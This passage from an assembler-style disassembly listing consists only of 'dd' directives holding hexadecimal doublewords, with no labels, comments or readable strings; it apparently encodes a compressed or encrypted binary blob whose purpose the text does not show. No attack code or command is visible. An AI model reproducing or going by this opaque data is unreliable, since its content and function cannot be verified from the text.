41E91737h, 830EA86Ah, 0D90F3135h dd 6207DFE0h, 7C695C85h, 19457757h, 0EE3BB42Fh, 44B963Dh dd 0E8F75DFEh, 0EA1CC47Fh, 7DBF6802h, 0BAC97576h, 0A0BB46BBh dd 95C1B26Bh, 177FAE46h, 5E6BBB81h, 0C67C9695h, 3AC19E6Bh dd 11DC75E2h, 1007843Fh, 70258907h, 1A892F12h, 840347F0h dd 0BE0E717Fh, 0C08E8A80h, 0E759CE55h, 455A59D6h, 11E9B656h dd 0F84BEEA2h, 0DB8E86BAh, 3D0F48A7h, 0DDB02B3Fh, 51B9CD90h dd 0E94D1C04h, 5008024h, 1F1E228Bh, 0C23F0598h, 7677A525h dd 0AA282FE5h, 0B2023FCBh, 0DE1DE9BFh, 882ED893h, 0DAAFF772h dd 0FBE917ECh, 9574AEC3h, 820164FFh, 0AD444A1h, 95F34C25h dd 7F5AD2D1h, 0EB8BE7AFh, 1A77F7AAh, 7C22568h, 8C8A7484h dd 0F7068077h, 7908E97Ah, 13C204BDh, 0C7336A51h, 62EA516Bh dd 11903134h, 0C03804A8h, 36E92CD0h, 7FC4CD5h, 5AF028ECh dd 0D8035577h, 7ADFA72Ch, 0E62881BDh, 0A17F545Bh, 0FC04A81Ah dd 0ABA41E0Bh, 7AB9D8A6h, 0E2D78273h, 885574C2h, 0C28523Ah dd 2D1B919Fh, 0BEA4167Ah, 2D261A23h, 44596629h, 0B78C7A6Ah dd 4F5ED60h, 5F9B1AAFh, 0DF04FE31h, 3D452609h, 82D6356Ch dd 0B97FF1C5h, 72F0FB94h, 779EB257h, 73827C7h, 8B6995D4h dd 4A51F2BBh, 68670285h, 49A213B0h, 5C7C28BAh, 9089E2C8h dd 303E48F4h, 3366090Ch, 3980D7F7h, 3ECB1E2Ah, 0FC3BE92Fh dd 29D749F6h, 0A216F401h, 545509D0h, 0B25FDCE9h, 0A4A15EC4h dd 0BC0D1317h, 2B83C9EDh, 0F535CA06h, 0AF30A96Fh, 9D765968h dd 0E9975067h, 1EB70312h, 92FBA94Fh, 40D6AEA0h, 550759B4h dd 2E4B3BBDh, 5A68A42Dh, 68F0804Fh, 0C69D7535h, 0FF169D18h dd 0D1275FBCh, 0C668C7C5h, 6E229D01h, 9BEE0164h, 56754C1Dh dd 0A75ABFF7h, 0F68162B3h, 647859BFh, 0F42488EEh, 282E7768h dd 3A0F736Fh, 0D1071083h, 9FD039EAh, 0BBF1AB49h, 7EEDE88h dd 0F2B82CACh, 900F702h, 9F5E1C77h, 80240ED1h, 9B024624h dd 61721D3Fh, 0AC4ADD56h, 5B69257Bh, 296F42FCh, 58D8B8D8h dd 0F053CFA9h, 71E084E9h, 957FC280h, 803604Ah, 11353D68h dd 4EC3D555h, 61304E90h, 0D5355084h, 824B5077h, 88C50581h dd 0C2970BB4h, 0B900F3F9h, 4CD575B7h, 167F6029h, 0F001F034h dd 0CD407F81h, 7FFB9531h, 95397328h, 0C60307Ch, 40382A86h dd 8D17D545h, 34564FE1h, 0BDFE09EFh, 0BD7487C2h, 0DD15534Fh dd 0F9F71D65h, 6D846885h, 5AC4D4ECh, 490913E2h, 2641FC53h dd 43C602C3h, 6A7D093Eh, 2080B78h, 0C6D97141h, 8B584AA2h dd 0AC805A09h, 166A901Fh, 8EDC1h, 0CF5F484Fh, 0D5052158h dd 77E4685Ah, 62CACCF8h, 70CACCBh, 0A32AB133h, 1509956Bh dd 890A15DEh, 5F21E138h, 5AA7C340h, 0E9270B08h, 0EE31F8F9h dd 9A8FB34Dh, 52BFCC2Ch, 5EE3A87Fh, 60ACFDB8h, 0EFE848B7h dd 654F1D39h, 15F78267h, 4CDC2235h, 0FC9DAE25h, 98F7BA5h dd 741AFBD2h, 0A7DEC555h, 5E259373h, 0AEFCEC1Fh, 92BBB696h dd 9C61A087h, 736BDB93h, 62F1C478h, 0EBEA6076h, 458F07A2h dd 9C61EEB2h, 293F75EFh, 93CD2B47h, 8A7FEDF5h, 7D1858F8h dd 10E72C4Ah, 0C01A34Bh, 4776DA68h, 0E8E35BFBh, 5DE4E780h dd 0E37DCAAh, 9EF0AD3h, 33D74752h, 4FACB016h, 0C2B60B0h dd 0D2539A6Ch, 9F95D897h, 8998A31Eh, 1AE0FBD2h, 0AF3A2D79h dd 54B02578h, 0FA387F0Ch, 13B80C53h, 837B240Dh, 0FB84A913h dd 951030DCh, 4E4100E4h, 6A53547Fh, 0A430F825h, 31809BD3h dd 879706C8h, 8D1F7CFh, 79856812h, 4C577D32h, 7BE918FDh dd 0FAF7B5D7h, 0D54B580Bh, 0F2B70221h, 0C09857D0h, 0E8BD6768h dd 834FD943h, 0C5B9E1E3h, 65873DCEh, 8D226896h, 431C625Fh dd 667F669h, 563923EFh, 0CB727235h, 296E4901h, 80F3E9F9h dd 8BF12C00h, 43B81C4Bh, 75596BC0h, 0A75AE948h, 0FBB88701h dd 62F6F384h, 51BF0468h, 4FC10D13h, 9B261BDh, 0C20CA3B6h dd 0D7312E03h, 0BD0C4F1Ah, 4A615E22h, 41028AB2h, 0E1B368F5h dd 4F511D94h, 2CF18342h dd 21F91878h, 0ADB13FC8h, 527BF940h, 5EF00231h, 99E9C629h dd 4C0486ABh, 53C7B039h, 0B741F09Dh, 5B961CDBh, 0A0432F72h dd 3046B1B4h, 1BB39DCFh, 53CF82BDh, 0B20BE1DAh, 90D728BDh dd 5E95E947h, 598C9D55h, 0A1A16BFEh, 898736Ch, 21650BEh dd 19116646h, 25F150B6h, 74146C12h, 0AB721E82h, 0C112C3E9h dd 896E97B6h, 0FC64839Dh, 0F2342F2Ah, 0C448F549h, 2AFD47F9h dd 0DE3A6204h, 837F0C12h, 0EE7D0191h, 581AD0D9h, 0BD84FEE1h dd 0C8533231h, 0CA6E9381h, 3E58199h, 0F0406D77h, 5AE4E698h dd 4EFBAD0Ch, 0B1932783h, 432B4DF7h, 857D3330h, 51D5C2F5h dd 0D0EBBA03h, 7C311D81h, 9F9D2DD1h, 0A255C612h, 0F7BCB7D6h dd 5A053B6Eh, 858E288h, 5C1D04FFh, 0DE21019Bh, 4CFF75Bh dd 181002C0h, 2998F120h, 5375121h, 0F543D7E3h, 0A82AAC6Dh dd 0B9BC2AE9h, 0EA17AE9Dh, 88899C71h, 622CF0C3h, 3637DE01h dd 0B03F403Ch, 0CB4A3A1Ch, 0FF7611CEh, 2177E56Bh, 83B56B98h dd 0A2B64EDh, 84F020FFh, 0FF6BB450h, 0C9FEC900h, 3D7B652h dd 0F604EEC0h, 1C9880DEh, 5A73F130h, 9F59CA3Ch, 0EA093EE2h dd 6F2FE83h, 3E39B151h, 3D7EC1FCh, 0BC82E965h, 0D3294FEFh dd 0BF07EB84h, 955B39DCh, 31EBB3FAh, 723AE00Fh, 0ED817702h dd 62B9097Ch, 200D8FEDh, 0A55FD4F5h, 886A072h, 1CC7077Ah dd 0E010760Dh, 0B5E3E949h, 0FAB9189Dh, 0E7B0BD7Ah, 788B3DE2h dd 251E257Eh, 7322C134h, 2D6D3BEh, 15D4005h, 0A1D58389h dd 4E2AD98Ah, 0BCCE137Eh, 0C7AA8441h, 67BABB00h, 82A304F5h dd 809F58E1h, 1791E653h, 31684B22h, 0E5731AA6h, 0B4C210F2h dd 39420A3Bh, 12DCD2F7h, 6E67EE58h, 0DDCC75A2h, 77F84094h dd 0D1D0764Bh, 50B92001h, 98A00Eh, 29453D1Dh, 71E0E9E8h dd 0D8013FC2h, 0A17B29C7h, 20694ADh, 0E9C39D61h, 65D54B0Ah dd 685C83B1h, 8D16709Eh, 32FB9DFCh, 17E6B8EBh, 5F74D220h dd 0A3C48258h, 222542FEh, 0D4D28AFFh, 145D49B7h, 272B9A48h dd 2802F5E9h, 9A6AD030h, 0F0E96251h, 8AF55DDFh, 13ADDC84h dd 0EC9650ADh, 2BAD30Ch, 20D66186h, 943EA57h, 52160408h dd 394EEBE8h, 86CE3A2Fh, 9202ED10h, 0EFB125BBh, 0E0515492h dd 804A5919h, 277EB80h, 71C3282Fh, 1B18B6Ch, 0CF14BF78h dd 0A3D930h, 80A1B252h, 0E8E9A7C2h, 0E77B9DE3h, 0C62D0FA7h dd 5FB7B603h, 5C9EF9C6h, 7B84B439h, 0F6F53CBBh, 214EE971h dd 0D7C0071Dh, 0EDC0FD86h, 0F5801903h, 20BD06D5h, 6FC0C637h dd 4A797EF2h, 0F5B9037h, 0B8B4D15h, 2EAC103h, 3C1D2002h dd 68015C16h, 1748E1FFh, 132A7837h, 30E22787h, 8C519A56h dd 4803DCB2h, 80CCC205h, 0F96EF14Fh, 22C57182h, 0CC06528h dd 301878CDh, 53181127h, 1E9A0462h, 0CF7946E9h, 0EF8301D9h dd 78B9E902h, 992F8C65h, 72502F03h, 79D3B79Dh, 0CF853E49h dd 3EF0278Bh, 61FA479h, 5DA18539h, 0A3C02017h, 5DD4620Fh dd 9C10B6E3h, 50BC48EDh, 0FC4A9AB8h, 0F589AE72h, 6B44C706h dd 3AA03FEAh, 6C7448CBh, 6BE644Ch, 42D38703h, 57E92506h dd 0EE5F39C1h, 0E394260Fh, 0BE1E4443h, 121C0909h, 0CD807F08h dd 563CF681h, 1A9016F0h, 1A4A3B0Bh, 0E9CCE01Eh, 6325BACFh dd 0A6E49529h, 0D1BD6579h, 0DF48C287h, 0E27E4DDh, 0B54BF57h dd 82D032A9h, 0B53C9080h, 722E6030h, 4B3E5F9Eh, 5B9B571h dd 0EB278808h, 23E80B5Bh, 0EBB672C5h, 9418C3DCh, 48AA88C8h dd 0C1898125h, 787002E8h, 4B1928D9h, 0ECE14AD2h, 7CF617ECh dd 28099816h, 108048FEh, 2C130B7Bh, 8AD95F68h, 915B980h dd 65E96C1Fh, 0A929ED86h, 83591910h, 9060506Ah, 0F81FD708h dd 0FA1E170Ah, 16D13A4Fh, 0FA5602F4h, 2CD29F30h, 4B52ED4Dh dd 615A13A6h, 5309E4h, 0E738C980h, 0CBC0A5E5h, 74C3E059h dd 62A6B468h, 0F5C2B2B6h, 0CC06FA61h, 0E91808E6h, 68445A23h dd 4E1578E0h, 4361925Dh, 2C5B1049h, 19DD0E0h, 182A4038h dd 0B9A3AB8h, 257F231h, 491A26Ah, 90DE8049h, 25904C0Ah dd 1F9CE106h, 182F5Dh, 72B600Fh, 8959CF31h, 6F54FB7Ah dd 20E88E4h, 5E585B5Ah, 1647CACDh, 53709DF9h, 0BD61F4D4h dd 88594701h, 7BAA41F4h, 0AEE36FEAh, 1337AF34h, 0B4BAB8E1h dd 463ECEF5h, 7F25E97Eh, 3E095790h, 58101C23h, 4A42FCACh dd 78D4F2D1h, 0CF80764Bh, 12A42DADh, 0E4070B15h, 8141B73Dh dd 0E67C8920h, 306A13EDh, 0EE1D2DEAh, 17427F5Ch, 8C475D91h dd 0E61C2E3Fh, 33A35FA5h, 0EF4BAC79h, 0D013BBF9h, 0E0A68995h dd 0A59D64C6h, 83FF05A9h, 0AE96269h, 949C303Fh, 8143E46Bh dd 418B02B3h, 0BE7C6BDEh, 69444318h, 0BC1E75BEh, 0AC850242h dd 8BD9EBFDh, 55859A55h, 78DAA589h, 31B9B1BEh, 4FB3BD8h dd 4463382h, 1FC1EAADh, 4B7EC20Dh, 8B795971h, 7890964Fh dd 2D313D05h, 0BFE3230h, 59F968C0h, 0BA435460h, 7D32975Dh dd 3CE9D560h, 872ECE92h, 0D703A6F5h, 207C926h, 0FD8F2C0Ch dd 0C5DF01C2h, 59CCA72Bh, 9062D120h, 69852099h, 4F969680h dd 2421E3Bh, 0F3241E7h, 0F896D729h, 487F1C09h, 0C41A9017h dd 288782F5h, 0CBE532D4h, 55D22E60h, 3940989Dh, 7A743E73h dd 0CAD1E1A7h, 0EA685433h, 9F99F511h, 8B51EEB0h, 0AE1C7DEBh dd 41EAE44Ah, 0CC223225h, 50B16053h, 38DB0B16h, 0EDC10AFEh dd 685F0208h, 6D902536h, 3165192h, 0C6E6093Ah, 0CE4A4D30h dd 3F12B6E2h, 0F2A045E9h, 0FBB2B751h, 0E933B144h, 0B5838FFEh dd 91845DE8h, 0D3B216F7h, 490A2D7Fh, 0D220E546h, 1DF89D7Fh dd 6CAED04Ah, 0B125E992h, 97857166h, 0E73B5717h, 805C81F5h dd 9DC32DC3h, 5151EEC7h, 52EE9B5h, 0BB98204Ah, 0E56F76DDh dd 0D2CB2F7Ch, 88649A12h, 5C955A68h, 27C1F2E9h, 0D6A47E52h dd 135B76FEh, 4A45AEE9h, 0C5F50AF8h, 16E0E659h, 90A7F1C3h dd 42805826h, 360CE819h, 0D330FC1h, 509D44D0h, 3544C7Ch dd 2DA434EBh, 9289E74Ah, 0BD0F7008h, 5CE4ACF1h, 52A421FAh dd 1AF0584h, 3DF908D5h, 0C4846A91h, 0DEEFB600h, 972D5A2Bh dd 7E0D7659h, 123169B9h, 12F709E2h, 4F33F796h, 0A9A1D5FAh dd 0C95044BAh, 0AE196E6Ch, 0E69A0706h, 495E43A6h, 4BCDEE14h dd 0A72B69B1h, 5CACD2DBh, 0D6A08CAh, 60534464h, 0C3405ECFh dd 6A3016BEh, 0F68D0083h, 68A76E1Bh, 0D0E7CEECh, 0CC1258Dh dd 4AC51A54h, 27B8970h, 0E96FED7Eh, 0E8A28B27h, 490F1696h dd 0FEEE25Ah, 0E1802943h, 0A6205773h, 59071316h, 0C6770803h dd 4B12053Dh, 66C4A47Eh, 0C2B05D90h, 3962BD28h, 0BC9D4140h dd 0E9C17A93h, 2380E408h, 9556F7C5h, 31ED291Eh, 58080009h dd 1C5F6F09h, 59E9408Ch, 281DB078h, 0A899D2D0h, 0F0C9DFA1h dd 13372AC9h, 0C9605ADh, 6B18F8A8h, 4CC677B3h, 4DF2A01Eh dd 4BFDD7h, 774D8B89h, 3FBCDD80h, 1ECC0B26h, 2568534Dh dd 0EFCC2AA3h, 241A6C9Fh, 8013A17Eh, 6BD2990h, 0E601E281h dd 0E930A335h, 253BE88Ch, 0BDAFB0C8h, 0D8280305h, 2DBFDD29h dd 5E09B829h, 82B59737h, 0ABDD356h, 560968C3h, 6CA3B27h dd 0BF208382h, 26205BE5h, 54489425h, 16555A04h, 14E91768h dd 0B32BBBFh, 9327C0Ch, 45C65B66h, 0E654B6FAh, 2EBE019Dh dd 0F1AD5F49h, 47FF200Fh, 57E94E0Bh, 0AC6753E1h, 0D2A216B5h dd 71573725h, 4584291h, 165A65D7h, 0F76FD0E0h, 7E7776FDh dd 97F82126h, 5BE8C158h dd 1CEC110h, 12603E57h, 99BBE56h, 46344806h, 0F98BA06h dd 0B245E95h, 257E7FCEh, 0A65F8C2h, 0F0E80885h, 4748C385h dd 5FBA610h, 3DBC2A1Fh, 783A80BFh, 2D4CCE19h, 757269C2h dd 0D137AD2Eh, 81B942B4h, 769EC749h, 0D76E7126h, 0BBE19093h dd 63BEF70Bh, 0E110512Fh, 3CAF0F66h, 42909F26h, 0A5EF881Ch dd 59C330FEh, 0F1C2E352h, 0B6485AD1h, 4B455B2Fh, 1ADAEE4Fh dd 0BE54ACA2h, 0DA041B27h, 2554FEA4h, 0E004E062h, 0BB60070h dd 0B6AEF680h, 0C2EE0F27h, 0C603E609h, 0E902B109h, 0D95652EDh dd 0D1EA604Bh, 15403028h, 0F49A9818h, 7831CC27h, 0A9EA4F32h dd 0C229026Bh, 55AA88E9h, 432F2C14h, 0C59F5B99h, 0D560AB17h dd 58CC6A57h, 1399622h, 69F4EDA7h, 0A6864D18h, 0BD337775h dd 5495DEC6h, 0BB535876h, 4D7A3309h, 0F3AA805Bh, 2C78114Ch dd 83FC331h, 0BB1C44E6h, 80EF430Bh, 49A3E394h, 0E97909C3h dd 0B930FEDEh, 0EA824EB4h, 620451A2h, 620B589Eh, 0D0B1FD4Bh dd 46D2FAC1h, 52535609h, 76A0AB50h, 0DBE97832h, 0E785EA65h dd 18ED01BEh, 203E56Ch, 0EDBDC059h, 20371470h, 0AB4C93C0h dd 0BE98DF2Dh, 4C9FB0D1h, 0BD974DD7h, 0E0CEEC4Bh, 9D50EEE9h dd 143E8065h, 0C389ADCFh, 0D0685251h, 9533660Bh, 75BF058h dd 0F3D99204h, 0A204550Bh, 7466BE03h, 0AFE5B54Ah, 4702EA24h dd 4235CC5Eh, 0A8AB7EDCh, 296D40C3h, 71206992h, 0A067A099h dd 0EDF04E30h, 31BB97C3h, 0FA4E2Ah, 327DB252h, 0C740EAD0h dd 4F666403h, 124A8128h, 0D27B49FDh, 0F72DD766h, 25FF7CF9h dd 861A1922h, 308B6801h, 563C6023h, 0B925F086h, 0E9149734h dd 8FC9409Ah, 0C3F40502h, 0B4507F60h, 0C08079AAh, 2071F4D8h dd 0C07358E1h, 0F113037Ch, 3CA8308Eh, 254066B2h, 0D35EE953h dd 6A0C9E86h, 0C7E576h, 0F92851C6h, 9793E889h, 87CDE984h dd 0FB6861EBh, 0D5B66A5Ch, 73D8257Ah, 0DD896B51h, 33BA5FFAh dd 981C6DFFh, 6653F36Fh, 355EF898h, 0D7623405h, 0CC515DE3h dd 0AE0455C9h, 0FE8E5BD2h, 77F255Eh, 0AF3ED465h, 0F25FAED6h dd 31B5ADC8h, 86FC66FCh, 0DF310E6h, 3CA42744h, 498D3D8h dd 0E981F197h, 5C6DF25Eh, 0AC4BFA3Ch, 0EA82B5E2h, 0CCDEC6F4h dd 0F511D672h, 74555E27h, 1EA74458h, 62C4277Bh, 0F93682CAh dd 7DB80053h, 1B0ACC1Eh, 0AF315048h, 328B138Bh, 2914776Eh dd 0E03F1B9Dh, 97CCAEFh, 0F72970E6h, 798D7C80h, 0E0BD3083h dd 50441BA8h, 1CE874Eh, 4B4C4221h, 394FF1E9h, 395A0715h dd 819030D2h, 487D16CFh, 0E7001565h, 7243818h, 0DD0BBA52h dd 0F6CA691Dh, 0F8AC3971h, 342937h, 0CF7436EBh, 0DA2609ABh dd 51F085Bh, 6CB1CA01h, 0F2D94011h, 4E7ED0C4h, 4B5FBC30h dd 998B1304h, 5B27BC16h, 81F4F6FCh, 0C5F65Dh, 82794868h dd 17662641h, 2624776Bh, 2BC9FF5Dh, 9850817Bh, 0C4367C87h dd 0C513543Bh, 5879ECEEh, 0B6B220DEh, 0FB7189CDh, 7E25FAE7h dd 0E9185CEEh, 0EA437149h, 826D3A0Ah, 56D7099Fh, 59EC807Dh dd 0FA1E015Eh, 426F0203h, 29224146h, 0E2C0656Ch, 494B6B4Ah dd 0D102ACC1h, 81CCF7E9h, 6A391EF1h, 87011629h, 138E243Eh dd 3D624001h, 0E2044D54h, 973E98CAh, 0A005713Fh, 2FB9E527h dd 0E6096960h, 47175F7Ch, 7EBFA84Bh, 598CE06Eh, 0C9B80B0Eh dd 0E18C434Eh, 0E9309D1Fh, 35949D15h, 0D026E89h, 80F4B682h dd 0F21BCF7Fh, 0A1CFCDC3h, 5672C6B0h, 1474B826h, 0DF64C225h dd 762505E5h, 6850580Bh, 0F1FECA97h, 0FA2997B8h, 713CC729h dd 0AE26E54Bh, 66628F0Eh, 86BD00B4h, 8A90615Eh, 0A8F4C575h dd 78E90509h, 7AE0DCCFh, 2C00E7DCh, 0E9705473h, 3FF9976Dh dd 351222A6h, 0DD2B87F1h, 0CBF543AAh, 3F5BCA81h, 0C287CD09h dd 5AF6F618h, 6A09DA70h, 490C78h, 381147FFh, 95C49226h dd 0C60C7DF2h, 0B66FEB52h, 0DBF188A5h, 4A0E4014h, 9D161EADh dd 2C480F11h, 4EFEFD5Ah, 4AF56982h, 0A6E5D7D4h, 5AE954CBh dd 99099AC7h, 0B0B21492h, 88C34052h, 2032FE77h, 0FA310E9Fh dd 0E8DB4E69h, 0C45AF2F0h, 9B92DCDh, 744B0E46h, 95C282F1h dd 0C0B75801h, 0D006080Ch, 40CD0864h, 0EE41E273h, 0CA0177F9h dd 96DD014Eh, 9867600h, 41C461F8h, 5F06C407h, 6C201894h dd 5EAF31C9h, 8844EE10h, 836E308h, 77081910h, 37640823h dd 20A0291Fh, 7A3197AAh, 607D48B0h, 9165088Ch, 87400118h dd 0B4F240C1h, 54A9DC66h, 90A53120h, 118BA08h, 50018D9Fh dd 6BCF0193h, 107D601h, 40985405h, 0A1EA49F6h, 8B351CDh dd 88C0261h, 0FB305133h, 40FABA40h, 4A401D81h, 0F07B40EBh dd 0A8287F63h, 4C081880h, 0BB6118B8h, 0DDC808C4h, 0DFA93D0Ch dd 5B6A51C4h, 18722306h, 0B5513F67h, 0AC543AD8h, 582F40DFh dd 637F4E40h, 0A6381886h, 18A0819h, 0E0514B18h, 0FF039E28h dd 0E21BF138h, 6111D08h, 0F754E14Ah, 8C639D8Ch, 107D0F10h dd 104F2708h, 7A18D0B0h, 83262860h, 0C4538C81h, 0E92910EFh dd 0CC97189Dh, 0C5769C08h, 482D3E30h, 9B0CD3E0h, 407D103Ah dd 2040CC48h, 83EB4041h, 0DE2C6D40h, 18571841h, 0BE81733Fh dd 0A3198C52h, 10E4DBECh, 188CB620h, 0A2109B3Ah, 408C661h dd 76201825h, 0F9D96EAAh, 4D08E88Ch, 0E4200565h, 89CA844Ch dd 8B56F91h, 88AED1F9h, 3E4CC4B9h, 0D85080F7h, 0C8788480h dd 2312BFD9h, 0DEF96046h, 5CD73108h, 8D820720h, 0D985C208h dd 0BDD3B988h, 19EC5D15h, 0A61850FEh, 4057BC24h, 736A1FC2h dd 72998CA1h, 8453F5A1h, 0B104849Ch, 2BE304A3h, 3E97892h dd 1031358Ch, 0AC9989B0h, 2681B01h, 719C48C7h, 98DA8132h dd 0B769C641h, 0D410C47Ah, 82610667h, 79712008h, 2069B931h dd 89815E0h, 650C11A1h, 0B9A920C4h, 5439E096h, 0ABC6D4F7h dd 0A434A2E8h, 50459ACh, 9C6B042Eh, 1064AF06h, 88E1F31h dd 188CA469h, 4C08DF6Dh, 6349F040h, 0C6862047h, 8CB4931h dd 4A017B2Ah, 48E202B3h, 0C4C58838h, 9904710h, 0B4C822BDh dd 9C6000AFh, 0A499E8FCh, 328C5626h, 788B1E44h, 604AE4C7h dd 473B1041h, 20C752Ch, 0E8913EBh, 3DA76FB9h, 44010540h dd 4901408Fh, 0F775C90Bh, 26E748Bh, 0F003DEC3h, 33449075h dd 1A0FF0C0h, 2C304FB1h, 66220055h, 38E95253h, 9D705AFEh dd 48F886ECh, 5F44516Bh, 61062C0Fh, 0BA0428A6h, 2E29052Bh dd 825C0AFh, 0EAEC2F76h, 13CED8C2h, 218CE042h, 3A3125B3h dd 0C8683742h, 6DEB03D2h, 1A50C6F2h, 0B5511E16h, 142C3F66h dd 55066FCCh, 0D0B72012h, 69B4F0E2h, 6F7520AEh, 2DAAD80h dd 0B17FAFEh, 1FF0551Dh, 942802C9h, 43B8E953h, 0F02582E5h dd 18276CC1h, 9B0FEA30h, 843ABC7Ch, 0BE00D0D3h, 2833275Eh dd 0E5E68100h, 0F737992Bh, 8104DED6h, 773660F6h, 272B706Eh dd 0EC162A32h, 46F76E2h, 0EB7D1368h, 0B26E5039h, 0D65C2776h dd 25E97897h, 80E08C98h, 2846F607h, 0CFB25AF3h, 128EA0BAh dd 3E5B3064h, 4017D029h, 0EA7C4076h, 5CDE02C2h, 296D297h dd 7A079CBFh, 515FD131h, 96DD5232h, 6AA4971Eh, 257C0EAh dd 0C6BF4C01h, 0C00C82F2h, 94FEBC86h, 11D4828Eh, 0B5F46C41h dd 4516E701h, 0C8DB4B4Fh, 169574DBh, 0B6FA2959h, 31991776h dd 0A254D364h, 380E1067h, 0DCF65F2Dh, 80C15A58h, 3A1E9ABAh dd 0C48A1AE2h, 8B27A418h, 12FC4550h, 5A200A58h, 0ECCE1792h dd 96FC5A10h, 314F1CD4h dd 2A188046h, 254FC3ADh, 92DAB222h, 4B1828FDh, 0D5B91062h dd 7F726409h, 899CE589h, 8965C229h, 97BD5500h, 9564621Ah dd 7F4D37C0h, 0CD046B76h, 29034727h, 0A70778A8h, 0D031107Ch dd 407BFCC5h, 82E9B41Ch, 815B48F2h, 13A05A0h, 0EEB50E38h dd 0C1A6E362h, 666C4483h, 6C90B9B3h, 0C9FC0725h, 0F4622F02h dd 0DCC18345h, 0E9823D17h, 7C93AD63h, 28AF607Fh, 83FEBECBh dd 191609F0h, 3AAB0C05h, 0C1BF9212h, 50412425h, 0FA055494h dd 97F2695Bh, 0E2176DC1h, 5902E6Bh, 2DE76A0Bh, 79564571h dd 0DFB43A40h, 36E91297h, 9229AA10h, 0E726E539h, 7F5BA8DAh dd 894B99C3h, 0E565D1F7h, 0FE95801h, 993F0119h, 0D7F22A21h dd 4AFD3E11h, 0E64A90CAh, 0D85D2DA9h, 7091AEh, 16D5AAFh dd 7413362Dh, 750A5EEFh, 0A73F0705h, 0BF60785Fh, 0B4A0974Eh dd 88240D0Eh, 0A1021745h, 401A8071h, 1D525D11h, 0C14D148Fh dd 17206BE5h, 495422Ah, 0E8E05407h, 18EF21A5h, 90981FE9h dd 700523BFh, 0DFF71C4Ch, 137293F9h, 0F116492Dh, 58200F0h dd 50066282h, 40D0F723h, 45E0A7Eh, 21D058E4h, 86C581CAh dd 8333C272h, 27755176h, 0D90C3D41h, 0ADE5E712h, 55E265D9h dd 9F18CDB2h, 32B2944Fh, 0CC4DABEEh, 17221DB0h, 1BA1BD2h dd 86D68512h, 0BCCDD4B2h, 30B5B7A6h, 0C5C783A0h, 37526254h dd 0E2898EE2h, 50CF3226h, 77CC705h, 0CEE477Bh, 582E01F3h dd 9F95695h, 665BB452h, 0BC128393h, 283A21FEh, 38E90066h dd 0DA0AD194h, 0C3AFCC9Eh, 0B80FBB16h, 44683B07h, 6FD61B64h dd 22254176h, 8C68C274h, 8C59715Fh, 592C276Bh, 1854573Ch dd 0B41026D6h, 66D5FE4Bh, 0CEAD0E47h, 89B1F8E4h, 9EF47AA5h dd 88E963E0h, 68009D7Bh, 196149B3h, 2421055Eh, 0B01185Bh dd 18DE1F26h, 0A2FCC5A5h, 0D67195B5h, 8FA5FFEBh, 0D3D3FC50h dd 515C31AFh, 17AE18B9h, 0E0159725h, 10640E74h, 0B3AE30D4h dd 686607F1h, 0C84B75BAh, 0DF22980Dh, 0D3094044h, 6083685Ah dd 8B0F3BFh, 0F6074CEFh, 0D49962A3h, 1DE3EE3h, 34E956F0h dd 5C8C2EF4h, 11DD6EE5h, 11B3CBBFh, 469799DDh, 628CF74h dd 8EC580D5h, 41F7085Ah, 0AD8C1h, 2D2C7D35h, 35DC250Dh dd 5E76EB3Fh, 943CC4BAh, 319C403Eh, 3DB568D2h, 0A417D4A8h dd 77BF0AD7h, 0B35D347h, 81F49360h, 351239EBh, 9236DE59h dd 0B6F75522h, 0B36FFF6Ch, 63AF9373h, 0FEFCEA8Dh, 0E90BCB8Ah dd 0B4FE2EB0h, 2FCCF48Dh, 0EA28C03Bh, 50224DE4h, 8C25027h dd 2BBB0653h, 1820806Fh, 85666A09h, 0A0B3D463h, 885B1308h dd 5252B402h, 27E94B40h, 0EF6C2F0h, 88BD5F73h, 0FA416A66h dd 0EF140F7Ch, 0BE00B317h, 5D517A99h, 851F6BBDh, 0A9CFA2AEh dd 0E3A6F71Bh, 0B41A194Ch, 61DED920h, 2E1DE602h, 0D2DF4143h dd 42BBD2Eh, 42866998h, 0D7E178C0h, 1FF60F71h, 0C100D9F7h dd 50283B2h, 5013C2B7h, 0C214181Ch, 67480C5Ch, 15F4412h dd 81A22C4h, 5514090Ch, 75488B2h, 46A10B20h, 64EA05C9h dd 7BB4AFEFh, 914178C7h, 0F9DE0B6Ch, 5796C9DEh, 2EDAFCCh dd 4D6B4E41h, 1542FD01h, 505F0800h, 0C85D23E9h, 6DBC4F34h dd 7A6B815Bh, 9DE27AEAh, 3F28A995h, 0DADAF4ABh, 0CD43082Ch dd 0B60F30AEh, 2536042Eh, 0EAD02BA0h, 48BB7775h, 71310525h dd 659CE90Dh, 0C8137AA2h, 0F8C920AEh, 4D4C0968h, 6186016Dh dd 0CFE97F70h, 0F155512Ch, 0DFDD8142h, 0CFF425C2h, 0C995DA70h dd 0ADD400Ah, 0E2065104h, 34DEFA7Dh, 4E2249h, 6F66EAC8h dd 0BFF826EBh, 98E9765Ch, 167FAF1Ah, 0A5582867h, 5D8CA0Fh dd 4A03CC9Fh, 5EDD8288h, 4E5D805Dh, 6033BA70h, 57217859h dd 0E9180D38h, 0B8283AC0h, 234606FBh, 0A3E0D156h, 6B8F2500h dd 26057F08h, 0D74D2C31h, 0E0E984ABh, 1BACA2E4h, 0E90BD6F7h dd 1A87D58Dh, 325CE780h, 156118EFh, 0EEA781FDh, 61640DB0h dd 0C47BC4EDh, 202DEACFh, 2E70AF51h, 30048C45h, 43171E2h dd 0E28B2C74h, 9BE5DDC2h, 7A0DC6A3h, 0A3D88F6Fh, 0A6E2DDBh dd 13C10662h, 0F145038Ch, 7EAC3577h, 0E19B16B1h, 283D6C8Dh dd 0B309C742h, 0C26FDF13h, 0CC985725h, 452C3505h, 0D8032EDDh dd 24942EE9h, 10DD99Fh, 0A65A27E1h, 14E7C72h, 185EF5E9h dd 0E804108h, 987496E0h, 0C599CA89h, 2710308h, 0EAC085B2h dd 4B418E7Fh, 9C1C06C2h, 7DF90079h, 703547D1h, 0CF7F0C4Dh dd 1E819D34h, 0BBF41CEDh, 0B2AE0DC4h, 70EB8BB3h, 9647B53Fh dd 2835C4A8h, 0DDB40C15h, 52BB9451h, 16776EDFh, 0A9F9DCE9h dd 0ACE697CFh, 8AE22E2Fh, 0F7B1835Dh, 30A3EDEh, 6A1AA4EDh dd 9E1294CEh, 0C729EEF7h, 0A32F39F0h, 80FE95EAh, 4307064Ah dd 135D7937h, 0F67563B0h, 37E91922h, 0BCC12C3Ch, 52E71AEAh dd 61B94272h, 4A02F44Dh, 444B5875h, 701DE8EAh, 85BC15E9h dd 0D207BCC8h, 90433FCh, 0C25259CDh, 3003E547h, 